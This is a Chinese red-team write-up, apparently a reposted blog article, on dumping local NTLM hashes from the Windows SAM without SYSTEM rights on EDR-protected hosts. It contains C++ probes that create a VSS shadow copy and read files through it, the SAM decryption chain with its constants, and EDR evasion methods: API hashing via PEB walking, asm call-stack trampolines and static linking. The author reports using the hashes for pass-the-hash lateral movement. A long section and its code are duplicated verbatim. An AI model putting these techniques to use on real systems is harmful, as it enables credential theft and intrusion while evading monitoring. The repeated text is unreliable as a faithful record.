红队实战复盘:四档探针测 EDR 水位,非 SYSTEM 取 SAM
01 前言去年底的一次红队演练,入口机是台 linux webshell,从配置文件翻到了一个服务账号的明文口令信息,巧合的是可以通过 3389 远连到几台一样的 win 主机,均隶属于管理员组但非 2026-11-5 18:14:31 Author: xz.aliyun.com(查看原文) 阅读量:0 收藏

01 前言

去年底的一次红队演练,入口机是台 linux webshell,从配置文件翻到了一个服务账号的明文口令信息,巧合的是可以通过 3389 远连到几台一样的 win 主机,均隶属于管理员组但非 system 权限,这个被加进本地组不是镜像带来的而是人手动做的,推测管理员凭据都是一样但我没明文,在主机的 SAM 里。主机不在域内,进程里有个杂牌的 EDR ,其规则对落地文件和读 SAM 都会有覆盖。当前 EDR 环境下,你是否能做到不依赖 mimikatz、secretsdump、不调用任何现成的 SAM 解析库、不碰活注册表、不硬要提权 NTsystem 来拿 NTLM 。

1、多台win主机,镜像部署,服务账号凭据,均隶属于管理员组但非 system 权限,无域环境
2、防护为杂牌 EDR
3、可通的网段有多个
4、可访问的端口、服务、文件,未发现可进一步利用的

1、明确任务,要的只是扩大采样面。
从主机的文件判断这多台主机均为镜像部署,所以一个 ntlm 就等于多台机器。服务账号的可接管的范围就到这几台win主机。对于横向的那批主机,这个服务账号均不存在,入口是用服务账号的明文进的,要想扩大成果只能用 ntlm。
2、铺垫的是后续拿域内主机。
这个主机没有域,拿 ntlm 意义在于拿到更多位置和痕迹,域身份总得先找到域。所以拿到多台机器的目的不在于多几个立足点,而在于其他机器 lsass 是否会有域会话,我要的域身份只能从那里拿。
3、明确目标,取哈希。
这笔投入成立的前提为内置管理员凭据得相同,拿手上这个哈希去打第二台,成功说明前提成。如果失败,那应该是去翻凭据管理器和浏览器历史。目标具体化操作就能明确到我要把 RID 500 的内置管理员 ntlm 提出来横向。
4、整体方向。
SAM 提供本地管理员账户,用它 PTH 到同镜像、同口令的机器,在那台机器的 lsass 里,才拿得到域用户的哈希。

1)程序 RegOpenKeyEx.cpp 单纯只 RegOpenKeyEx 打开 HKLM\SAM\SAM\Domains\Account\Users 不去做后续读取枚举

#include <windows.h>
#include <stdio.h>

static const char *ErrName(LONG rc)
{
    switch (rc) {
    case ERROR_SUCCESS:            return "ERROR_SUCCESS";
    case ERROR_FILE_NOT_FOUND:     return "ERROR_FILE_NOT_FOUND";
    case ERROR_PATH_NOT_FOUND:     return "ERROR_PATH_NOT_FOUND";
    case ERROR_ACCESS_DENIED:      return "ERROR_ACCESS_DENIED";
    case ERROR_INVALID_PARAMETER:  return "ERROR_INVALID_PARAMETER";
    case ERROR_SHARING_VIOLATION:  return "ERROR_SHARING_VIOLATION";
    default:                       return "(other)";
    }
}

static void Hop(const char *tag, const char *sub)
{
    HKEY h = NULL;
    LONG rc = RegOpenKeyExA(HKEY_LOCAL_MACHINE, sub, 0, KEY_READ, &h);
    printf("%-5s HKLM\\%-45s rc=%-2ld 0x%08lX  %s\n", tag, sub, rc, (DWORD)rc, ErrName(rc));
    if (h) RegCloseKey(h);
}

int main()
{
    Hop("[1]", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
    Hop("[2]", "SAM");
    Hop("[3]", "SAM\\SAM");
    Hop("[4]", "SAM\\SAM\\Domains\\Account\\Users");
    return 0;
}

2)结果未出现告警未拦截,返回 ERROR_ACCESS_DENIED。

拒绝访问并不意外,默认 system 才有读权限。有价值的点在于侦察水位。可能只被记录为一次事件甚至根本没被看见。之前说过这是个杂牌 EDR ,在现代 EDR 环境高权限进程执行这个动作必告警。


3)这里可以总结出几个点:
1、对方在打开 SAM 健上没有阻断。
2、edr 可能没看见,可能看见了只记录未拦截,或者规则命中了却只记录。所以复盘时我能写的是"主机侧没有可见后果"
3、这个玩法没做任何后续读取,所以万一被拦,原因只可能是打开的意图,不可能是读了什么。动作的粒度越细,归因才越准。

此时最顺的思路是提权 system,最后直接是放弃了。原因是同时间同个进程开 SYSTEM 进程、复制令牌启用新进程无疑是会压在 EDR 遥测最密的那一层,每一层操作必然命中的遥感规则。关键的是即便拿到 SYSTEM,读 hive 还要面对独占锁和 REGF 解析两件事。所以我要的从来不是 SYSTEM 这个身份,是一份没被锁住的只读副本。


我的路只剩两条:
1、改权限(动对象),操作为改 dacl。
2、或者改数据来源(不动对象),做卷影复制。
不动权限,先判定卷影这条路在这台机器上到底通不通?那么就先先写一版试试。

第一档、测绘防护栈

枚举出vss服务相关信息,均为管理员日常会敲的命令

//目标:以获取 “普通 CIM 服务查询” 基准,看是否告警或拦截。
Get-CimInstance Win32_Service -Filter "Name='vss'"

//目标:单独查询存储池,看是否告警或拦截。
Get-CimInstance Win32_ShadowStorage

//目标:单独枚举快照,看是否告警或拦截。
Get-CimInstance Win32_ShadowCopy

或直接一次跑只显示有价值信息。

$vss = Get-CimInstance Win32_Service -Filter "Name='vss'"
$sh  = @(Get-CimInstance Win32_ShadowCopy)
$st  = Get-CimInstance Win32_ShadowStorage
$maxGB  = if ($st) { [math]::Round((($st | Measure-Object MaxSpace  -Sum).Sum)/1GB, 1) } else { 'n/a' }
$usedGB = if ($st) { [math]::Round((($st | Measure-Object UsedSpace -Sum).Sum)/1GB, 1) } else { 'n/a' }

[pscustomobject]@{
  VssState    = "$($vss.State) / $($vss.StartMode)"
  ShadowCount = $sh.Count
  StoreMaxGB  = $maxGB
  StoreUsedGB = $usedGB
  FreeOnC_GB  = [math]::Round((Get-PSDrive C).Free/1GB, 1)
} | Format-List

fltmc filters

结果如下,未出现告警,vss服务在运行,当前系统存在0个卷影快照。

第二档、只加载进程,不创建快照

1)写一个程序 probe2.cpp,只把 vssapi.dll 拉进进程,不创建快照。
完成 CoInitialize 、 CreateVssBackupComponents 、 Release
不做 InitializeForBackup 和 StartSnapshotSet。

// probe2.cpp —— 只把 vssapi.dll 拉进进程,不创建快照
#include <windows.h>
#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
#include <stdio.h>

int main()
{
    HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    printf("[1] CoInitializeEx            hr=0x%08lX\n", hr);          fflush(stdout);

    IVssBackupComponents *p = NULL;
    hr = CreateVssBackupComponents(&p);
    printf("[2] CreateVssBackupComponents hr=0x%08lX\n", hr);          fflush(stdout);

    HMODULE h = GetModuleHandleW(L"vssapi.dll");
    printf("[3] vssapi.dll base           %p\n", (void*)h);            fflush(stdout);

    Sleep(3000);                 // 停留三秒,给异步判定留窗口
    if (p) p->Release();
    CoUninitialize();
    return 0;
}

编译

cl /nologo /EHsc /MT /O2 /utf-8 probe2.cpp vssapi.lib ole32.lib

2)运行结果如下:CreateVssBackupComponents 是 0,vssapi.dll 非0,说明动作发生,问题只剩对方看没看见。

3)其中,加 vssapi.dll 是确认自己模块真的进了进程,没告警可能只是没加载,这一行还救过一次误判,同一份 exe,我在一个没提升的普通会话里跑,运行结果如下:CreateVssBackupComponents 失败,vssapi.dll 照样非0。两件事是分开的:vssapi.dll 由依赖链带进来,跟备份对象建不建得出来无关。当时看到 0x80070005 想了半天,第一反应是这么快就被拦了,实际上只是权限问题。不留意特别容易把权限错误读成拦截,一旦写进复盘,后面每一个判断都是歪的。

4)这条线值得单独测,hook 的是 vssapi.dll 的导出,加载就看得见;如果是纯内核型的产品通常要等到创建快照才有信号。所以这一档的读数直接指向对方的实现类型。

5)结论,操作覆盖了 vssapi 导出,进程里确实有 vssapi.dll,对方静默。

第三档、创建,但什么都不读

1)程序 probe3.cpp,建一个卷影,拿到路径就删,不读任何文件
完成 InitializeForBackup 、 StartSnapshotSet 、 AddToSnapshotSet(C:) 、DoSnapshotSet,拿到路径后立刻 DeleteSnapshots

#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
#include <stdio.h>

int main()
{
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    IVssBackupComponents *p = NULL;
    HRESULT hr = CreateVssBackupComponents(&p);
    printf("[1] create        hr=0x%08lX\n", hr);              fflush(stdout);
    if (FAILED(hr)) return 1;

    hr = p->InitializeForBackup();
    printf("[2] initBackup    hr=0x%08lX\n", hr);              fflush(stdout);

    hr = p->SetContext(VSS_CTX_CLIENT_ACCESSIBLE);   // 持久、可本地访问的卷影
    printf("[3] setContext    hr=0x%08lX\n", hr);              fflush(stdout);

    VSS_ID setId = GUID_NULL, snapId = GUID_NULL;
    hr = p->StartSnapshotSet(&setId);
    printf("[4] startSet      hr=0x%08lX\n", hr);              fflush(stdout);

    hr = p->AddToSnapshotSet(L"C:\\", GUID_NULL, &snapId);
    printf("[5] addToSet(C:)  hr=0x%08lX\n", hr);              fflush(stdout);

    IVssAsync *pAsync = NULL;
    hr = p->DoSnapshotSet(&pAsync);
    printf("[6] doSnapshot    hr=0x%08lX (只是受理)\n", hr);    fflush(stdout);
    if (SUCCEEDED(hr) && pAsync) {
        hr = pAsync->Wait();          // 真正结果在这里
        pAsync->Release();
    }
    printf("[6b] wait         hr=0x%08lX\n", hr);               fflush(stdout);
    if (FAILED(hr)) { printf("    ^ 先查错误码来源,别当成被拦\n"); p->Release(); CoUninitialize(); return 2; }

    VSS_SNAPSHOT_PROP prop = {0};
    BOOL got = SUCCEEDED(p->GetSnapshotProperties(snapId, &prop));
    printf("[7] device        %ls\n", got ? prop.m_pwszSnapshotDeviceObject : L"(failed)");
    fflush(stdout);

    Sleep(5000);            // 停留,给外部复核留窗口

    LONG deleted = 0; VSS_ID notDeleted = GUID_NULL;
    hr = p->DeleteSnapshots(snapId, VSS_OBJECT_SNAPSHOT, TRUE, &deleted, &notDeleted);
    printf("[8] delete        hr=0x%08lX deleted=%ld\n", hr, deleted);  fflush(stdout);

    if (got) VssFreeSnapshotProperties(&prop);
    p->Release();
    CoUninitialize();
    return 0;
}

编译

`cl /nologo /EHsc /MT /O2 /utf-8 probe3.cpp vssapi.lib ole32.lib`

在 Sleep(5000) 时另开一个窗口跑:

Get-CimInstance Win32_ShadowCopy | select InstallDate, DeviceObject

2)运行结果如下:

wait 这一步如果报 0x8004230F 或 0x80042306 之类的 VSS 错误时,伴随的addToSet(C:) 失败通常是卷标识问题,[2] 失败权限问题。所以判据必须另开个窗口跑Win32_ShadowCopy。

3)其中 [6] 和 [6b] 拆成两行是被编译器逼出来的:DoSnapshotSet 没有零参数重载,它接一个 IVssAsync,返回的是受理成功。
我第一次写 p->DoSnapshotSet() 直接编不过,改成接异步对象之后才意识到,如果只看 DoSnapshotSet 的返回值,任何创建失败都会被读成成功。真正的结果在 Wait() 上。这个坑和第三档要回答的问题正好是同一个:判断"建没建出来"这件事,本身就有两层,一层是调用有没有被受理,一层是快照有没有真的生成。只看第一层,你会得到一堆假成功。

SetContext(VSS_CTX_CLIENT_ACCESSIBLE) 创建的是持久可本地挂载访问的卷影,不是备份程序那种用完即弃的临时快照,好处是能直接用 \\?\GLOBALROOT\... 路径打开文件,坏处是会留痕,系统里看到是一个真实存在的对象得显式删。这一行同时也是"我为什么非要走这条路"的技术根:只有这种上下文下的卷影,才能当成一个只读盘去读文件。这一行是这段代码里唯一有取舍的地方。

4)结论:
这一档的重点不是"有没有被拦",是把"被拦"和"环境不支持"分开。VSS 的失败码一个码对应四种原因——服务没起、配额不足、卷不在一处、被安全产品挡——光看返回值永远分不清。

卷影真的建出来了、只是后面读不到,那是访问侧的事;卷影根本没建出来,才是创建侧被拦,或者环境本来就不行。这一步必须实时看,不能等程序跑完——因为程序退出前自己把卷影删了,事后再查就只剩空列表,你永远分不清"没建"和"建完删了"。

第四档、利用路径读文件

1)程序 probe4.cpp,建卷影、拿路径读文件,删卷影。
完成完成 InitializeForBackup 、 StartSnapshotSet 、 AddToSnapshotSet(C:) 、DoSnapshotSet、GetSnapshotProperties、DeleteSnapshots,不碰 SAM 尝试读 hosts 文件,同一个文件读两次:正常路径做对照,卷影路径做被测

#include <windows.h>
#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
#include <stdio.h>

static const wchar_t *Why(DWORD e)
{
    switch (e) {
    case 2:  return L"ERROR_FILE_NOT_FOUND    — 卷影里没有这个文件";
    case 3:  return L"ERROR_PATH_NOT_FOUND    — 设备不存在:卷影已删或编号失效";
    case 5:  return L"ERROR_ACCESS_DENIED     — 拒绝访问:ACL 或文件级规则,这才可能被拦";
    case 32: return L"ERROR_SHARING_VIOLATION — 被独占打开";
    case 87: return L"ERROR_INVALID_PARAMETER — 路径形态不被接受,不是拦截";
    default: return L"见 MSDN,先分清是形态问题还是策略问题";
    }
}

static void TryRead(const wchar_t *path, const wchar_t *tag)
{
    HANDLE h = CreateFileW(path, GENERIC_READ,
                           FILE_SHARE_READ | FILE_SHARE_WRITE,
                           NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD err = GetLastError();
    wprintf(L"%-7ls %-4ls %ls\n", tag,
            h == INVALID_HANDLE_VALUE ? L"FAIL" : L"OK", path);
    if (h == INVALID_HANDLE_VALUE) {
        wprintf(L"        GetLastError=%lu (0x%08lX)\n", err, err);
        wprintf(L"        %ls\n", Why(err));
    } else {
        char buf[128] = {0};
        DWORD n = 0;
        ReadFile(h, buf, sizeof(buf) - 1, &n, NULL);
        wprintf(L"        first %lu bytes: %hs\n", n, buf);
        CloseHandle(h);
    }
    fflush(stdout);
}

int main()
{
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    // 对照放在最前面:此时进程里还没有任何卷影,读的是真文件系统
    TryRead(L"C:\\Windows\\System32\\drivers\\etc\\hosts", L"normal");

    IVssBackupComponents *p = NULL;
    HRESULT hr = CreateVssBackupComponents(&p);
    printf("[1] create        hr=0x%08lX\n", hr);              fflush(stdout);
    if (FAILED(hr)) return 1;

    hr = p->InitializeForBackup();
    printf("[2] initBackup    hr=0x%08lX\n", hr);              fflush(stdout);

    hr = p->SetContext(VSS_CTX_CLIENT_ACCESSIBLE);
    printf("[3] setContext    hr=0x%08lX\n", hr);              fflush(stdout);

    VSS_ID setId = GUID_NULL, snapId = GUID_NULL;
    hr = p->StartSnapshotSet(&setId);
    printf("[4] startSet      hr=0x%08lX\n", hr);              fflush(stdout);

    hr = p->AddToSnapshotSet(L"C:\\", GUID_NULL, &snapId);
    printf("[5] addToSet(C:)  hr=0x%08lX\n", hr);              fflush(stdout);

    IVssAsync *pAsync = NULL;
    hr = p->DoSnapshotSet(&pAsync);
    printf("[6] doSnapshot    hr=0x%08lX (只是受理)\n", hr);    fflush(stdout);
    if (SUCCEEDED(hr) && pAsync) {
        hr = pAsync->Wait();          // 真正结果在这里
        pAsync->Release();
    }
    printf("[6b] wait         hr=0x%08lX\n", hr);               fflush(stdout);
    if (FAILED(hr)) { p->Release(); CoUninitialize(); return 2; }

    VSS_SNAPSHOT_PROP prop = {0};
    BOOL got = SUCCEEDED(p->GetSnapshotProperties(snapId, &prop));
    wprintf(L"[7] device        %ls\n", got ? prop.m_pwszSnapshotDeviceObject : L"(failed)");
    fflush(stdout);
    if (!got) { p->Release(); CoUninitialize(); return 3; }

    Sleep(10000);                    // 观察窗口:给 EDR 的异步判定留时间

    wchar_t shadow[MAX_PATH];
    swprintf_s(shadow, MAX_PATH, L"%ls\\Windows\\System32\\drivers\\etc\\hosts",
               prop.m_pwszSnapshotDeviceObject);

    wprintf(L"[8] wait          10s\n");                          fflush(stdout);
    TryRead(shadow, L"shadow");      // 被测:同一个文件,只换了路径前缀

    LONG deleted = 0; VSS_ID notDeleted = GUID_NULL;
    hr = p->DeleteSnapshots(snapId, VSS_OBJECT_SNAPSHOT, TRUE, &deleted, &notDeleted);
    printf("[9] delete        hr=0x%08lX deleted=%ld\n", hr, deleted);  fflush(stdout);

    VssFreeSnapshotProperties(&prop);
    p->Release();
    CoUninitialize();
    return 0;
}

编译

cl /nologo /EHsc /MT /O2 /utf-8 probe4.cpp

2)执行结果

wait 这一步如果报 0x8004230F 或 0x80042306 之类的 VSS 错误时,伴随的addToSet(C:) 失败通常是卷标识问题,[2] 失败权限问题。所以判据必须另开个窗口跑Win32_ShadowCopy。

3)其中 [6] 和 [6b] 拆成两行是被编译器逼出来的:DoSnapshotSet 没有零参数重载,它接一个 IVssAsync,返回的是受理成功。
我第一次写 p->DoSnapshotSet() 直接编不过,改成接异步对象之后才意识到,如果只看 DoSnapshotSet 的返回值,任何创建失败都会被读成成功。真正的结果在 Wait() 上。这个坑和第三档要回答的问题正好是同一个:判断"建没建出来"这件事,本身就有两层,一层是调用有没有被受理,一层是快照有没有真的生成。只看第一层,你会得到一堆假成功。

SetContext(VSS_CTX_CLIENT_ACCESSIBLE) 创建的是持久可本地挂载访问的卷影,不是备份程序那种用完即弃的临时快照,好处是能直接用 \\?\GLOBALROOT\... 路径打开文件,坏处是会留痕,系统里看到是一个真实存在的对象得显式删。这一行同时也是"我为什么非要走这条路"的技术根:只有这种上下文下的卷影,才能当成一个只读盘去读文件。这一行是这段代码里唯一有取舍的地方。

4)结论:
这一档的重点不是"有没有被拦",是把"被拦"和"环境不支持"分开。VSS 的失败码一个码对应四种原因——服务没起、配额不足、卷不在一处、被安全产品挡——光看返回值永远分不清。

卷影真的建出来了、只是后面读不到,那是访问侧的事;卷影根本没建出来,才是创建侧被拦,或者环境本来就不行。这一步必须实时看,不能等程序跑完——因为程序退出前自己把卷影删了,事后再查就只剩空列表,你永远分不清"没建"和"建完删了"。

第四档、利用路径读文件

1)程序 probe4.cpp,建卷影、拿路径读文件,删卷影。
完成完成 InitializeForBackup 、 StartSnapshotSet 、 AddToSnapshotSet(C:) 、DoSnapshotSet、GetSnapshotProperties、DeleteSnapshots,不碰 SAM 尝试读 hosts 文件,同一个文件读两次:正常路径做对照,卷影路径做被测

#include <windows.h>
#include <vss.h>
#include <vswriter.h>
#include <vsbackup.h>
#include <stdio.h>

static const wchar_t *Why(DWORD e)
{
    switch (e) {
    case 2:  return L"ERROR_FILE_NOT_FOUND    — 卷影里没有这个文件";
    case 3:  return L"ERROR_PATH_NOT_FOUND    — 设备不存在:卷影已删或编号失效";
    case 5:  return L"ERROR_ACCESS_DENIED     — 拒绝访问:ACL 或文件级规则,这才可能被拦";
    case 32: return L"ERROR_SHARING_VIOLATION — 被独占打开";
    case 87: return L"ERROR_INVALID_PARAMETER — 路径形态不被接受,不是拦截";
    default: return L"见 MSDN,先分清是形态问题还是策略问题";
    }
}

static void TryRead(const wchar_t *path, const wchar_t *tag)
{
    HANDLE h = CreateFileW(path, GENERIC_READ,
                           FILE_SHARE_READ | FILE_SHARE_WRITE,
                           NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD err = GetLastError();
    wprintf(L"%-7ls %-4ls %ls\n", tag,
            h == INVALID_HANDLE_VALUE ? L"FAIL" : L"OK", path);
    if (h == INVALID_HANDLE_VALUE) {
        wprintf(L"        GetLastError=%lu (0x%08lX)\n", err, err);
        wprintf(L"        %ls\n", Why(err));
    } else {
        char buf[128] = {0};
        DWORD n = 0;
        ReadFile(h, buf, sizeof(buf) - 1, &n, NULL);
        wprintf(L"        first %lu bytes: %hs\n", n, buf);
        CloseHandle(h);
    }
    fflush(stdout);
}

int main()
{
    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    // 对照放在最前面:此时进程里还没有任何卷影,读的是真文件系统
    TryRead(L"C:\\Windows\\System32\\drivers\\etc\\hosts", L"normal");

    IVssBackupComponents *p = NULL;
    HRESULT hr = CreateVssBackupComponents(&p);
    printf("[1] create        hr=0x%08lX\n", hr);              fflush(stdout);
    if (FAILED(hr)) return 1;

    hr = p->InitializeForBackup();
    printf("[2] initBackup    hr=0x%08lX\n", hr);              fflush(stdout);

    hr = p->SetContext(VSS_CTX_CLIENT_ACCESSIBLE);
    printf("[3] setContext    hr=0x%08lX\n", hr);              fflush(stdout);

    VSS_ID setId = GUID_NULL, snapId = GUID_NULL;
    hr = p->StartSnapshotSet(&setId);
    printf("[4] startSet      hr=0x%08lX\n", hr);              fflush(stdout);

    hr = p->AddToSnapshotSet(L"C:\\", GUID_NULL, &snapId);
    printf("[5] addToSet(C:)  hr=0x%08lX\n", hr);              fflush(stdout);

    IVssAsync *pAsync = NULL;
    hr = p->DoSnapshotSet(&pAsync);
    printf("[6] doSnapshot    hr=0x%08lX (只是受理)\n", hr);    fflush(stdout);
    if (SUCCEEDED(hr) && pAsync) {
        hr = pAsync->Wait();          // 真正结果在这里
        pAsync->Release();
    }
    printf("[6b] wait         hr=0x%08lX\n", hr);               fflush(stdout);
    if (FAILED(hr)) { p->Release(); CoUninitialize(); return 2; }

    VSS_SNAPSHOT_PROP prop = {0};
    BOOL got = SUCCEEDED(p->GetSnapshotProperties(snapId, &prop));
    wprintf(L"[7] device        %ls\n", got ? prop.m_pwszSnapshotDeviceObject : L"(failed)");
    fflush(stdout);
    if (!got) { p->Release(); CoUninitialize(); return 3; }

    Sleep(10000);                    // 观察窗口:给 EDR 的异步判定留时间

    wchar_t shadow[MAX_PATH];
    swprintf_s(shadow, MAX_PATH, L"%ls\\Windows\\System32\\drivers\\etc\\hosts",
               prop.m_pwszSnapshotDeviceObject);

    wprintf(L"[8] wait          10s\n");                          fflush(stdout);
    TryRead(shadow, L"shadow");      // 被测:同一个文件,只换了路径前缀

    LONG deleted = 0; VSS_ID notDeleted = GUID_NULL;
    hr = p->DeleteSnapshots(snapId, VSS_OBJECT_SNAPSHOT, TRUE, &deleted, &notDeleted);
    printf("[9] delete        hr=0x%08lX deleted=%ld\n", hr, deleted);  fflush(stdout);

    VssFreeSnapshotProperties(&prop);
    p->Release();
    CoUninitialize();
    return 0;
}

编译

cl /nologo /EHsc /MT /O2 /utf-8 probe4.cpp

2)执行结果

3)确定读的是同文件。
过程中的两行 first 127 bytes 内容相同,说明读的确实是同个文件,如果只有 normal OK 和 shadow OK,可能还会存在恰好命中另一个存在的对象的情况,判据要看内容,不要只看返回值。

4)sleep 10 秒的考量。
是为了对照。如果两次连着跑,出一条约两分钟后的聚合告警,你根本分不清是哪一次引起的。对照这一步尤其不能省,正常路径读 hosts 是系统经常发生的事,它要是也响,说明对方的规则本来就宽,或者环境在刷噪音

5)读 host 的考量。
区分两种规则:对方是认路径前缀还是认文件对象。如果读 hosts 就响,说明规则挂在卷影路径这个前缀上,那读 SAM 必然响,而且和 SAM 有没有被保护无关;如果读 hosts 静默、读 SAM 才响,那才是文件级保护。

6)失败的可能。
如果 normal 到 shadow 过程中如果 Fail 看是哪一种失败

ERROR_FILE_NOT_FOUND 设备在,但卷影里没有这个文件,不是edr拦截导致
ERROR_PATH_NOT_FOUND 设备不存在——卷影已删,或编号已失效,不是edr拦截导致
ERROR_ACCESS_DENIED 拒绝访问,是被拦,这才需要往下追
ERROR_SHARING_VIOLATION 文件被独占,并非被拦截
ERROR_INVALID_PARAMETER 路径写法有错误,并非被拦截

ERROR_ACCESS_DENIED 才意味着被拦截。normal 在这一档还有额外的作用,它证明我这个进程读文件这个动作本身是干净的。也就是说后面真读 SAM 时若出事,嫌疑只可能落在"读的是哪个对象"上,不落在"读"这个动作上。探针的价值一半在测对方,一半在把自己的变量清干净。

7)结果:
host 文件成功读取,对方静默,结论是这条路可用。综合来看,第二档静默、第三档卷影成功建出、第四档读 hosts 也静默,卷影这条路可以走,edr没有任何一条规则因为我这几档动作被触发,这才是我后面敢把整个程序跑一边的原因。

1)第一档就失败,那么就是环境不通,下一步是排除卷影,想办法复制活动hive
2)第二档被拦截,说明 edr 用户层 hook 覆盖了 vssapi.dll ,下一步是换一条不经 vssapi 的入口,或换数据源
3)第三档失败,可能是卷影创建被拦,下一步是复核错误码,可能只是环境问题并非被拦,否则就停了这条路。
4)第四档读 host 被拦截,说明对方认卷影路径前缀,下一步是换路径形态,或换数据源
5)第四档读 SAM 被拦截,说明是文件级的保护
四档全静默才能说明通路可用,这才值得写解析器,不过这四档并非免费的调研,都会留痕迹,每跑一次就多一个卷影对象。

这套读数和一次打整条链的差别不在谨慎,而在于信息的密度,你根本不知道为什么不行换什么能行,只能在复盘报告说这条路不行。到这里问题回到技术本身:怎么拿一份没被锁住的副本,在不落地的前提下把哈希解出来。

眼下有三条硬约束:第一、不能有文件落地,磁盘上多一个 SAM 副本容易被检测到。其次,不能动原对象,不改 DACL。最后,不能要求先拿到 SYSTEM, 提权在 EDR 环境内代价最高,就算拿到了也只解决读,不解决锁,得假设高权限那条路一直不可用。

第一次走的是注册表 API,读 HKLM\SAM\SAM\Domains\Account\Users,非 system 被拒,再后续操作显然是不行的。可参考:渗透技巧——Windows下的Access Control List

ACL 跟注册表键完全不一样。 文件本身对 Administrators 是默认可读的,真正卡住你的是两件事:1、文件被system独占。2、注册表健那层 ACL 只有在走RegOpenKey 的时候才生效。也就是说:只要绕开独占锁,根本不需要改任何 DACL。这个认知把我从怎么骗过 ACL直接换到了怎么拿到一份无锁的只读副本,问题性质变了。

后来发现微软自己的文档把这个逻辑写得更直白,Windows Internals Book - Sysinternals | Microsoft Learn,这背后是 Windows 的访问模型本身:每个对象各自持有安全描述符,打开时逐次判定,文件和键是两个对象,就各判各的。

顺着这个思路列出候选方案

方式

读到

有落盘

痕迹

结论

copyfile / reg save

能

有

有

多了个副本,特征太明显

offreg 打开 SAM

不能

无

无

独占锁挡了

VSS 卷影 + offreg 解析

能

无

有创建卷影

可以尝试

1)VSS 解决锁

卷影拷贝是块级 copy-on-write 快照,不是复制一份文件,而是在卷上冻结一个时间点的只读视图,拿到路径

\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\

往后面拼 Windows\System32\Config\SAM,指向的是卷影里的数据,不是原文件。

流程是 StartSnapshotSet → AddToSnapshotSet → DoSnapshotSet,在文章 Shadow Copy Creation for Providers 说的很清楚

参考 VSS_SNAPSHOT_CONTEXT (vss.h) ,也就是说,这个上下文建出来的是持久卷影——IVssBackupComponents::Release() 并不会把它删掉,必须显式调 DeleteSnapshots,而我的实现里,没调。

2)offreg 解决解析

1)拿到卷影路径之后,是得自己写支持 REGF 格式的解析器,还是用现成的。想把这些结构彻底搞清楚,Suhanov 那份 hive 格式规范是我见过最完整的一份 # Windows registry file format specification,我在 OROpenHive function (Offreg.h) - Win32 apps | Microsoft Learn 对偏移的时候来回翻了很多遍。

2)所以我用系统自带的 offreg.dll,他是一个纯粹的 REGF 文件格式解析器,输入是hive 文件,输出是 key/value。从文章OROpenHive function (Offreg.h) 和 Offline Registry Library Functions可以看到键级的访问检查要等 hive 被 RegLoadKey 挂进活动注册表之后才发生,离线库本身不做

OROpenHive(SAMPath, &samHive);
OROpenKey(samHive, L"SAM", &subKeyUsers);

3)解密

AES 这条路的逻辑,关键在于先解 syskey,再把解出来的 syskey 当 key 去解 NTLM,而且两层的 IV 分别取自 F 和 V 的不同偏移。

syskey  = AES_CBC_dec( 密文 F[0x88..0x97], key = bootkey, IV = F[0x78..0x87] )
DES密文  = AES_CBC_dec( 密文 V[offset+0x18..], key = syskey, IV = V[offset+0x8..] )
NTLM    = DES_dec( DES密文, RID 派生 key )

三个 magic 常量

magic1 = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%";
magic2 = "0123456789012345678901234567890123456789";
magic3 = "NTPASSWORD";

这台机器的 EDR 会做静态检查,蓝队也能捞回去样本分析,他们能看到什么:

哪个层面

我暴露了什么

弱化做法

导入表

调用的api

PEB 遍历 + 模块名/导出名哈希,不 import

调用栈

从哪里发起调用

asm 蹦床,从"回调帧"里跳出去

依赖

我要什么运行库

静态 /MT 链接,零外部 DLL

第一层:调用变成查找

最开始的是常规写法,这样导入表里出现像 NtOpenKey、NtSetSecurityObject、RtlCreateAcl 这类,深层是 GetProcAddress 和 GetModuleHandle 本身也得 import,调用的都是edr的监控点。

GetProcAddress(GetModuleHandleA("ntdll"), "NtOpenKey");

所以改成自己走 PEB,遍历 InMemoryOrderModuleList,每个模块名算一次(hash = hash * 33 + c)跟目标值比;命中后进 PE 导出表,对每个导出名再算哈希。整条链上不需要出现任何明文字符串,导入表里也看不到这些符号。缺点是调试的时看到的是地址不是函数名,出错只能靠返回码和调用顺序反推。我为此额外做了一套 -d 调试输出,这个在排查阶段救过我好几次。

PPEB pPEB = (PPEB)__readgsqword(0x60);
PLIST_ENTRY head = &pPEB->Ldr->InMemoryOrderModuleList;

第二层:把直调变成回调分发

导入表很干净,但调用栈还是老样子:main 到 函数 到 ntdll,改法是让调用从蹦床里发出去。把函数地址 + 参数打包到结构体,用 rdx 传进去铺好寄存器再 jmp,这样栈上留下的帧更像"系统回调分发",而不是应用代码直接指向 ntdll。

WorkCallbackNtOpenKey:
    mov rbx, rdx
    mov rax, [rbx]           ; 目标函数
    mov rcx, [rbx + 0x8]     ; KeyHandle
    mov edx, [rbx + 0x10]    ; DesiredAccess
    mov r8,  [rbx + 0x18]    ; ObjectAttributes
    jmp rax

第三层:把依赖变成只要系统 DLL

用 /MT 静态链接 CRT,动态链接 CRT 会带出 vcruntime140.dll、msvcp140.dll,在 edr 眼里这都是可关联的线索,静态链接后,进程只加载系统 DLL,跟一个普通系统工具没区别。没有额外 DLL 可以减少攻击面。代价是工具大小变大。
实际上这一整套手法在文章 # OS Credential Dumping: Security Account Manager里也有对应描述,所以我更多的是把一条已经沉淀成标准的路径自己走了一遍。

工具地址:GitHub - wsece/DaclSamHunter

我要的是我可以根据场景切换手法的东西,而不是每次现场改代码重编。命令行走参数,形态上只出 x64 的单文件,不拆 DLL,不套 loader,单 exe 直接跑不需要目标机有任何额外组件,是这个场景下最干净的形态。

-r      走实时注册表(需要 SYSTEM 或配 -dacl)
-ss     走 VSS 卷影(需要管理员)
-dacl   开启 DACL 改写,配合 -r 用
-cc     关键调用走 asm 回调蹦床
-d      打印调试信息(每一步的 NTSTATUS 和中间密钥)

那次演练里,这个工具在两台机器上跑通了,拿到的本地 NTLM 拿去 PTH 成功横向。

